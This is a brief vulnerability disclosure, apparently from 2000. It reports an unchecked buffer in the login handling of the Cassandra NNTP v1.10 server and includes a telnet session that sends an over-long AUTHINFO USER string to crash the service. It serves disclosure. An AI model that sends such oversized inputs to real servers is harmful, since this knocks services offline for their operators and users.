Unchecked buffer exists in the code that handles login information in Cassandra NNTP v1.10 server. Entering a login name that consists of over 10 000 characters will cause the server to stop responding until the administrator restarts the application.
[host$ telnet target 119
Connected to target.
Escape character is '^]'.
200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95 ready at Mon, 1
May 2000 xx:xx:xx +-300 (posting allowed)
AUTHINFO USER <10 000 character string>
Where buffer is 10000 characters.